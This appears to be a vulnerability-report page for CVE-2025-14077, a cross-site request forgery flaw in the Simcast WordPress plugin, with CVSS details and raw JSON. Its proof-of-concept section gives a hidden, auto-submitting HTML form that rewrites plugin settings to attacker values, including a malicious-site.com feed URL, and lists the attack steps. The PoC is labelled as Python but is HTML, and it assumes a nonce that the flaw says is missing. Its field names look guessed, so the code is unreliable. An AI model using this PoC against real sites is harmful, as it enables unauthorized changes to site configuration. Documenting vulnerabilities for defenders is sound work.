Security Vulnerability Report
中文
CVE-2025-14077 CVSS 4.3 MEDIUM

CVE-2025-14077

Published: 2026-01-07 12:16:52
Last Modified: 2026-04-15 00:35:42

Description

The Simcast plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.0. This is due to missing or incorrect nonce validation on the settingsPage function. This makes it possible for unauthenticated attackers to modify plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Simcast插件 <= 1.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-14077 --> <!-- This PoC demonstrates how an attacker can trick a WordPress admin into modifying Simcast plugin settings --> <!DOCTYPE html> <html> <head> <title>Simcast Plugin Settings</title> </head> <body> <h1>Plugin Configuration Update</h1> <!-- Hidden form that auto-submits --> <form id="csrfForm" action="http://target-site.com/wp-admin/admin-post.php" method="POST" style="display:none;"> <!-- Required WordPress nonce field - attacker can obtain from plugin source --> <input type="hidden" name="_wpnonce" value="ATTACKER_OBTAINED_NONCE"> <input type="hidden" name="action" value="simcast_save_settings"> <!-- Malicious settings payload --> <input type="hidden" name="simcast_feed_url" value="https://malicious-site.com/malicious-feed.xml"> <input type="hidden" name="simcast_auto_publish" value="1"> <input type="hidden" name="simcast_update_interval" value="60"> <!-- Additional malicious configurations --> <input type="hidden" name="simcast_api_key" value="attacker_controlled_key"> </form> <script> // Auto-submit form when page loads document.getElementById('csrfForm').submit(); </script> <p>If you see this message, the attack failed.</p> </body> </html> <!-- Attack methodology: 1. Attacker crafts a malicious HTML page with a hidden form 2. Form targets the vulnerable Simcast plugin's settings endpoint 3. Attacker uses social engineering to get WordPress admin to visit the page 4. Browser automatically sends the request with admin's valid session cookies 5. Since nonce validation is missing/incorrect, server accepts the forged request 6. Plugin settings are modified to attacker-controlled values -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14077", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:51.957", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Simcast plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.0. This is due to missing or incorrect nonce validation on the settingsPage function. This makes it possible for unauthenticated attackers to modify plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}, {"lang": "es", "value": "El plugin Simcast para WordPress es vulnerable a la falsificación de petición en sitios cruzados en todas las versiones hasta la 1.0.0, inclusive. Esto se debe a la validación de nonce faltante o incorrecta en la función settingsPage. Esto hace posible que atacantes no autenticados modifiquen la configuración del plugin a través de una petición falsificada, siempre que puedan engañar a un administrador del sitio para que realice una acción como hacer clic en un enlace."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/simcast/tags/1.0.0/Simcast_OptionsManager.php#L257", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/simcast/trunk/Simcast_OptionsManager.php#L257", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e3917e1a-c230-46ad-9889-6ab233ecc4d0?source=cve", "source": "[email protected]"}]}}